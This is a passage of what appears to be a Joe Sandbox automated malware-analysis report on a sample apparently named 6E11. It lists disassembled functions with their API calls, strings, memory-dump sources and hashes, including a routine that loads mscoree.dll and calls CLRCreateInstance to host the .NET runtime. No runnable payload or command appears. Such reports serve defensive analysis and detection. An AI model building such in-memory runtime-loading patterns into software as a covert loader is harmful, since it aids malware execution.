Part of subcall function 6F0CC850: SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6F0CC8D5
Part of subcall function 6F0CC850: VariantClear.OLEAUT32(?), ref: 6F0CC8E1

VariantClear.OLEAUT32(?), ref: 6F0CBA15
SafeArrayDestroy.OLEAUT32(?), ref: 6F0CBE90
VariantClear.OLEAUT32(?), ref: 6F0CBEA3
VariantClear.OLEAUT32(?), ref: 6F0CBEA9

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$ArrayClearSafe$Init$CreateElementVector$Destroy
String ID:
API String ID: 2012514194-0
Opcode ID: a508ed0b17ae15922f1d2e64d42a8a8eaf7ee93dea01605c905831b7a887a026
Instruction ID: b0490e48d5ba2b853eca5de83f28dbef57113d83753b7f6a3bad211b313d66e6
Opcode Fuzzy Hash: a508ed0b17ae15922f1d2e64d42a8a8eaf7ee93dea01605c905831b7a887a026
Instruction Fuzzy Hash: CC525CB5900218DFDB10DFA8C884BDEBBF6BF49714F148199E909AB391DB30A945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 061B0EB3 Relevance: 23.3, Strings: 18, Instructions: 800
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HERE, xrefs: 061B1086
HERE, xrefs: 061B17E9
LOOK, xrefs: 061B1A9F
HERE, xrefs: 061B1AA4
p<{q, xrefs: 061B1142
p<{q, xrefs: 061B118D
LOOK, xrefs: 061B0F6A
LOOK, xrefs: 061B158D
p<{q, xrefs: 061B1177
HERE, xrefs: 061B12EC
p<{q, xrefs: 061B112C
HERE, xrefs: 061B19F0
LOOK, xrefs: 061B17E4
LOOK, xrefs: 061B1081
HERE, xrefs: 061B0F6F
LOOK, xrefs: 061B12E7
LOOK, xrefs: 061B19EB
HERE, xrefs: 061B1592

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID: HERE$HERE$HERE$HERE$HERE$HERE$HERE$LOOK$LOOK$LOOK$LOOK$LOOK$LOOK$LOOK$p<{q$p<{q$p<{q$p<{q
API String ID: 0-1111880270
Opcode ID: 1684a8b5646119c50d68bc706260e192fd99befe5df9028bf4796b9161125adb
Instruction ID: 879800e5451d55780485c0cff553ae1c4849d7c53d3c3164095210bcb5837cfb
Opcode Fuzzy Hash: 1684a8b5646119c50d68bc706260e192fd99befe5df9028bf4796b9161125adb
Instruction Fuzzy Hash: 0E82B474E002298FDBA8DF68C995BD9BBB1BB48310F1585E9D50DAB361DB309E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BB6C0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 245
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(mscoree.dll,F3D820D6), ref: 6F0BB711
LoadLibraryW.KERNEL32(mscoree.dll), ref: 6F0BB71C
GetProcAddress.KERNEL32(00000000,CLRCreateInstance), ref: 6F0BB730
__cftoe.LIBCMT ref: 6F0BB870
GetModuleHandleW.KERNEL32(?), ref: 6F0BB88B
GetProcAddress.KERNEL32(00000000,C8F5E518), ref: 6F0BB8D7

Strings

CLRCreateInstance, xrefs: 6F0BB72A
mscoree.dll, xrefs: 6F0BB70C, 6F0BB717
v4.0.30319, xrefs: 6F0BB767

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: AddressHandleModuleProc$LibraryLoad__cftoe
String ID: CLRCreateInstance$mscoree.dll$v4.0.30319
API String ID: 1275574042-506955582
Opcode ID: fb6a38d97dbe3654c0b1050e0d5d67478960ca1d94bc61c44465bdb808e8c31e
Instruction ID: 9fde786e3b7f712fbf93e13d8e99b4ac2665be2307a1d3db95b2c2cd9b807926
Opcode Fuzzy Hash: fb6a38d97dbe3654c0b1050e0d5d67478960ca1d94bc61c44465bdb808e8c31e
Instruction Fuzzy Hash: 139168B1D0424A9FDB04DFE8C8C4AAEBBF4FF48310B10866DE529EB250D731A946CB54

Uniqueness

Uniqueness Score: -1.00%

Function 061B2840 Relevance: 1.8, Strings: 1, Instructions: 576COMMON

Download Yara Rule

Strings

(, xrefs: 061B2F91

Memory Dump Source

Source File: 00000015.00000002.1049595696.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_61b0000_6E11.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: d10f9afc440873ec4dc5faca8f19e283a4766bc01d0612515014511473837777
Instruction ID: 60ae65c823e4fdf6289fdd445a227c1324b3cdadac96efd74b2087f4944b321a
Opcode Fuzzy Hash: d10f9afc440873ec4dc5faca8f19e283a4766bc01d0612515014511473837777
Instruction Fuzzy Hash: 4652D274D012298FDB68DF65C894BEDBBB2BF89304F1481E9D409AB291DB356E85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0156C8A8 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ffd7a029100629d5f4b66ee116dbee56f41d71247ba9a809decd1bcc7a045e7
Instruction ID: 8da62b45703557a6971e925f9d1fdfc856a0a3722eee19438fd04545035a6419
Opcode Fuzzy Hash: 1ffd7a029100629d5f4b66ee116dbee56f41d71247ba9a809decd1bcc7a045e7
Instruction Fuzzy Hash: CB31D1B5D01208AFDB05CFA8D850AEEFBB1BF49310F10906AE915B7360DB309A04CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0156C8B0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.1048355079.0000000001560000.00000040.00000800.00020000.00000000.sdmp, Offset: 01560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1560000_6E11.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2943a8ee26ef940a526ca7647cb47d6f8efed566d6df5ef17089823da460077
Instruction ID: 5543721c45b241024984e32a3ab959e9abc433d575bbc7bdaecfa73fe3d6d9d7
Opcode Fuzzy Hash: e2943a8ee26ef940a526ca7647cb47d6f8efed566d6df5ef17089823da460077
Instruction Fuzzy Hash: E331B275D01208AFDB04CFA8D850AEEFBB5FF49310F10906AE915B7360DB30AA04CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C2970 Relevance: 25.8, APIs: 17, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6F0C29F6
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6F0C2A08
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6F0C2A2F
VariantInit.OLEAUT32(?), ref: 6F0C2ABB
VariantInit.OLEAUT32(?), ref: 6F0C2B3F
VariantClear.OLEAUT32(?), ref: 6F0C2C04
VariantClear.OLEAUT32(?), ref: 6F0C2C0B
VariantClear.OLEAUT32(?), ref: 6F0C2C12
VariantClear.OLEAUT32(?), ref: 6F0C2C96
VariantClear.OLEAUT32(?), ref: 6F0C2C9D
VariantClear.OLEAUT32(?), ref: 6F0C2CD6
VariantClear.OLEAUT32(?), ref: 6F0C2CDD
VariantClear.OLEAUT32(?), ref: 6F0C2CE4
SafeArrayDestroy.OLEAUT32(?), ref: 6F0C2D1B
VariantClear.OLEAUT32(?), ref: 6F0C2D45
VariantClear.OLEAUT32(?), ref: 6F0C2D4C
VariantClear.OLEAUT32(?), ref: 6F0C2D53

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$BoundInit$DestroyElement
String ID:
API String ID: 214056513-0
Opcode ID: d4aeef9ced3f4074cbfd57cf83e7a934e992e2e1be54c633834d2fe2213b3f5e
Instruction ID: 43da6ca575d3e582e973e7b12a2cc78c78417c12ee13b791633900f87494e228
Opcode Fuzzy Hash: d4aeef9ced3f4074cbfd57cf83e7a934e992e2e1be54c633834d2fe2213b3f5e
Instruction Fuzzy Hash: FEC155716083419FD700CFA8C8C4A5EBBE9FF99304F60895DF6A5CB261C675E845CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6F0BAF30 Relevance: 22.8, APIs: 15, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6F0BAF75
VariantInit.OLEAUT32(?), ref: 6F0BAF7C
VariantInit.OLEAUT32(?), ref: 6F0BAF83
VariantCopy.OLEAUT32(?,?), ref: 6F0BB00D
VariantClear.OLEAUT32(?), ref: 6F0BB027
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6F0BB19C
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6F0BB1AA
SafeArrayAccessData.OLEAUT32(?,?), ref: 6F0BB1C5
SafeArrayUnaccessData.OLEAUT32(?), ref: 6F0BB1EF
VariantClear.OLEAUT32(?), ref: 6F0BB237
VariantClear.OLEAUT32(?), ref: 6F0BB23E
VariantClear.OLEAUT32(?), ref: 6F0BB245
VariantClear.OLEAUT32(?), ref: 6F0BB29D
VariantClear.OLEAUT32(?), ref: 6F0BB2A4
VariantClear.OLEAUT32(?), ref: 6F0BB2AB

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$Init$BoundData$AccessCopyUnaccess
String ID:
API String ID: 1795507694-0
Opcode ID: 9fc5d45a605cc7d70d80cf986cce04d039ef1fe151a1ccdfff9556df414637c6
Instruction ID: e8c48c7a281176ffcc4593fd33119695e7d9b5b2336dc50aa6617dc81da140bd
Opcode Fuzzy Hash: 9fc5d45a605cc7d70d80cf986cce04d039ef1fe151a1ccdfff9556df414637c6
Instruction Fuzzy Hash: 12C169B26083419FD700DFA8C8C4A5AB7E9FF89344F50892DF659C7290DB31E945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CD410 Relevance: 22.8, APIs: 15, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6F0CD4B3
VariantInit.OLEAUT32 ref: 6F0CD4C5
VariantInit.OLEAUT32(?), ref: 6F0CD4CC
_malloc.LIBCMT ref: 6F0CD551
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6F0CD58B
SafeArrayCreateVector.OLEAUT32 ref: 6F0CD5A6
SafeArrayAccessData.OLEAUT32 ref: 6F0CD5B8

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArrayInitSafeVariant$CreateVector$AccessData_malloc
String ID:
API String ID: 1552365394-0
Opcode ID: 98c5d73f52bdb10c53a22c59032173434d7c4bc49e93ee5e346361331b2aa4a9
Instruction ID: f4c6e91c9c9cc1770f00553ce7041e7502b384d26d673e29410f83f2ce3de336
Opcode Fuzzy Hash: 98c5d73f52bdb10c53a22c59032173434d7c4bc49e93ee5e346361331b2aa4a9
Instruction Fuzzy Hash: 14B145766083009FD714CF68C880B5BB7E9FF89314F14895DE9A597391EB31E905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C44C0 Relevance: 19.8, APIs: 13, Instructions: 261
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6F0C44FF
VariantInit.OLEAUT32(?), ref: 6F0C4505
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6F0C4516
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6F0C4551
VariantClear.OLEAUT32(?), ref: 6F0C455A
SafeArrayCreateVector.OLEAUT32(0000000D,00000000,00000002), ref: 6F0C4579
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6F0C4594
SafeArrayPutElement.OLEAUT32(?,00000000,?), ref: 6F0C45B5
SafeArrayPutElement.OLEAUT32(?,00000000,?), ref: 6F0C45CE
std::tr1::_Xweak.LIBCPMT ref: 6F0C475A
SafeArrayDestroy.OLEAUT32(?), ref: 6F0C4777
VariantClear.OLEAUT32(?), ref: 6F0C4787
VariantClear.OLEAUT32(?), ref: 6F0C478D

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$Variant$Element$Clear$CreateInitVector$DestroyXweakstd::tr1::_
String ID:
API String ID: 1304965753-0
Opcode ID: 42c91237aadc7d7861ce4ac9afd9e1df1bc078167b14da6a17d08a7d9690543d
Instruction ID: 73201ef9e0225003e08deaad7cfdfb0aecb8a7f08a1aea9972ba4dcbc54244c9
Opcode Fuzzy Hash: 42c91237aadc7d7861ce4ac9afd9e1df1bc078167b14da6a17d08a7d9690543d
Instruction Fuzzy Hash: 22A12B75A00606ABDB14DBA5C984EEFB7B9FF8C710F14462DE506AB781CA30F941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C5140 Relevance: 19.7, APIs: 13, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6F0C5177

Part of subcall function 6F0D2820: _malloc.LIBCMT ref: 6F0D2871

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000004), ref: 6F0C51B9
SafeArrayCreateVector.OLEAUT32(00000011,00000000,00000000), ref: 6F0C51D5
SafeArrayAccessData.OLEAUT32(00000000,00000000), ref: 6F0C51E5
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6F0C5208
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6F0C522C
SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 6F0C5263
VariantClear.OLEAUT32(?), ref: 6F0C526C
SafeArrayPutElement.OLEAUT32(00000000,00000002,?), ref: 6F0C52AD
VariantClear.OLEAUT32(?), ref: 6F0C52B6
SafeArrayPutElement.OLEAUT32(00000000,00000002,00000002), ref: 6F0C52D2
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0C534E
VariantClear.OLEAUT32(?), ref: 6F0C5358

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: ArraySafe$ElementVariant$Clear$CreateDataVector$AccessDestroyInitUnaccess_malloc
String ID:
API String ID: 4170690753-0
Opcode ID: 17e213204fb7d29086fcf2c01f09603ee9f8f24719cb36407fe264795fbc1f93
Instruction ID: 4dbed08b96f5be0e334eb99a114f0ce096692d16c88bd18b9c6d9b6087e4cce9
Opcode Fuzzy Hash: 17e213204fb7d29086fcf2c01f09603ee9f8f24719cb36407fe264795fbc1f93
Instruction Fuzzy Hash: CA7139B5A0060AEFDB00CFA8C884BAFBBB8FF49354F00811AE90597241D774E955CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CBF00 Relevance: 18.2, APIs: 12, Instructions: 215
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6F0CBF3D
VariantInit.OLEAUT32(?), ref: 6F0CBF4A
VariantInit.OLEAUT32(?), ref: 6F0CBF50
VariantInit.OLEAUT32(?), ref: 6F0CBF56
VariantInit.OLEAUT32 ref: 6F0CC04D
VariantCopy.OLEAUT32(?,?), ref: 6F0CC054
VariantInit.OLEAUT32 ref: 6F0CC085
VariantCopy.OLEAUT32(?,?), ref: 6F0CC08C
VariantClear.OLEAUT32(?), ref: 6F0CC118
VariantClear.OLEAUT32(?), ref: 6F0CC11E
VariantClear.OLEAUT32(?), ref: 6F0CC124
VariantClear.OLEAUT32(?), ref: 6F0CC12A

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Init$Clear$Copy
String ID:
API String ID: 3833040332-0
Opcode ID: df62fe9224a2147a2033b5b4643eba548925717ea893cbc30dd37e263221b1d1
Instruction ID: 8c47ff94a9db25104f3d972dc105cee3bfc0e0d51234d1abf3f65e27e508c816
Opcode Fuzzy Hash: df62fe9224a2147a2033b5b4643eba548925717ea893cbc30dd37e263221b1d1
Instruction Fuzzy Hash: B4819A71900259AFDB04DFA8CC84FEEBBB9FF49304F14855DE905AB280DB35A905CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6F0C64D0 Relevance: 18.2, APIs: 12, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6F0C650C
VariantInit.OLEAUT32(?), ref: 6F0C6519
VariantInit.OLEAUT32(?), ref: 6F0C6520
SafeArrayCreateVector.OLEAUT32(0000000C), ref: 6F0C6531
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0C656D
VariantClear.OLEAUT32(?), ref: 6F0C6576
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0C65B6
VariantClear.OLEAUT32(?), ref: 6F0C65BF
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0C6666
VariantClear.OLEAUT32(?), ref: 6F0C6677
VariantClear.OLEAUT32(?), ref: 6F0C667E
VariantClear.OLEAUT32(?), ref: 6F0C6685

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049794126.000000006F143000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049803413.000000006F14C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049818570.000000006F14E000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_6f0a0000_6E11.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$Init$Element$CreateDestroyVector
String ID:
API String ID: 1625659656-0
Opcode ID: 045288d59962eba48dcacb5c6a91e9ae83c9379f0f95a9a39292470ee1503093
Instruction ID: ecda852b807c79f6f25f2fc7627ba69aa3941f175df184546b20d0c0f9eff9ee
Opcode Fuzzy Hash: 045288d59962eba48dcacb5c6a91e9ae83c9379f0f95a9a39292470ee1503093
Instruction Fuzzy Hash: AF513972108705AFC710DF68C880A6BBBF8EFCA710F108A1EF99597251DB71E905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6F0CCB90 Relevance: 18.1, APIs: 12, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6F0CCBCA
VariantInit.OLEAUT32(?), ref: 6F0CCBD3
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6F0CCBE4
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6F0CCBF6
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0CCC0D
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6F0CCC39
VariantClear.OLEAUT32(?), ref: 6F0CCC42
SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 6F0CCC5D
SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 6F0CCC77
SafeArrayDestroy.OLEAUT32(00000000), ref: 6F0CCCEC
VariantClear.OLEAUT32(?), ref: 6F0CCCFC
VariantClear.OLEAUT32(?), ref: 6F0CCD02

Memory Dump Source

Source File: 00000015.00000002.1049648852.000000006F0A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6F0A0000, based on PE: true

Associated: 00000015.00000002.1049641205.000000006F0A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049749552.000000006F124000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049772507.000000006F13E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049780627.000000006F140000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000015.00000002.1049788039.000000006F141000.00000004.00000001.01000000.0000000C.sdmpDownload File
